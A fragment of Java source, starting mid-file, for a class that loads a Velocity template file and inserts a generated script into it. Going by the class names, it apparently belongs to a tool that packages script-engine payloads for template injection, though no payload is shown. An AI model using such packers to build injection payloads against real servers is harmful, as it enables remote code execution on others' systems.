ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public VelocityPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}